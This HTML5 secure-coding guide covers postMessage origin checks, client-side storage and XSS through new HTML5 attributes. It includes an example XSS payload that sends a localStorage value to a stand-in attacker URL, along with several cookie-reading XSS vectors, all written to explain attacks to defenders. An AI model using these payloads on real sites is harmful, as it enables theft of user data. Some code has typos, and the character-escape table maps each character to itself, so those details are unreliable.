HTML5 security development guide

1. Local Storage Security

A. Definition

HTML5 provides a new API called postMessage. This is a framework for scripts to pass data from one domain to another. To ensure that such data requests are not hacking attempts, postMessage includes an object property that allows developers to perform an origin check on the data request. However, since HTML5 does not enforce this origin check, careless developers may omit it, which consequently exposes postMessage requests to malicious sites.

Code Example

wndow.postMessage(data, targetOrigin, [ports])

B. Secure Coding Techniques

The security guideline for postMessage is that messages must never be delivered to unexpected or unwanted origin pages. If the window from which the sender calls postMessage does not have a specific origin (for example, if the user navigates to another site), the browser will not deliver the message.

C. Example

Code Example

If($_SERVER['HTTP_ORGIN'] == 'http://trusted.site'){
      header('Access-Control-Allow-Origin: http://trusted.site');
      //process request
      }
  else{
         exit;
  }

2. Client-Side Storage

A. Definition

Among the specifications added to HTML5 are objects called localStorage and sessionStorage. These functions allow data to be stored on and retrieved from the user’s local device, serving as a replacement for traditional cookies. While localStorage allows semi-permanent access to stored data (persisting even after closing and restarting the browser), sessionStorage is accessible only until the browser is closed. They operate similarly to cookies, except that they do not have a separately defined expiration date.

B. Secure Coding Techniques

Values stored in Storage are preserved permanently because no separate expiration date is set. Therefore, it is desirable to delete data that is no longer in use.

C. Example

Code Example

  http://example.com/page.php?name=<script>document.write('<img src="https://foo.com/evil.php?name=' %2B globalStorage[location.hostname].mykey %2B '">');</script>

The code above is a script that transmits the value of the mykey key in Storage to an attacker when an XSS vulnerability exists due to improper input validation for the parameter name on the page.php of the example.com site. If important data had remained, that data would have been leaked using an XSS attack.

3. Attribute Abuse

A. Definition

HTML5 introduced many new tags and attributes. These new attributes are applied to familiar tags, and these attributes can be abused. A threat arises when these attribute values act as triggers for automatic script execution.

B. Secure Coding Techniques

While there are modifications and additions to the countermeasures against XSS vulnerabilities occurring in HTML5, they fundamentally follow the broad framework of standard XSS countermeasures. Please adhere to the following security recommendations:

XSS Countermeasures

1) Input validation must be performed on the Server-Side. 2) Use user input processing modules to filter and prevent the insertion of abnormal malicious scripts.

User Account and Password Type: To block SQL Injection in the authentication section, define characters like numbers, uppercase/lowercase letters, and length, and do not accept other characters.
Bulletin Board Type: Control by defining the type of input characters (uppercase/lowercase letters) and length. Be careful as strings used in CSS can be inserted.
Resident Registration Number Type: Define 6–7 numeric digits to receive resident registration numbers.
Date Type: Use predefined date formats or write expressions that match the date format.
Numeric Type: In the case of bank transfers, if a transfer amount is entered as a negative number (-), the balance may actually increase by that amount; therefore, only positive values (+) should be entered.
Other Vulnerable Characters: When using characters such as < > \ ” ‘ ( ) &, it is safer for security to change them to other characters.

From	To
<	<
>	>
(	(
)	)
#	#
&	&

C. Example

Insecure Code Example

<input autofocus onfocus(alert(document.cookie);>
<form id=”test”/>
<button form=”test” formaction=”javascript:alert(document.cookie)”>
<video><source onerror=”javascript:alert(document.cookie”>

The HTML5 autofocus attribute automatically moves the browser’s focus to a specific element. However, malicious sites can abuse this attribute to shift focus to a window that executes malicious code. Users may end up executing such malicious code unintentionally.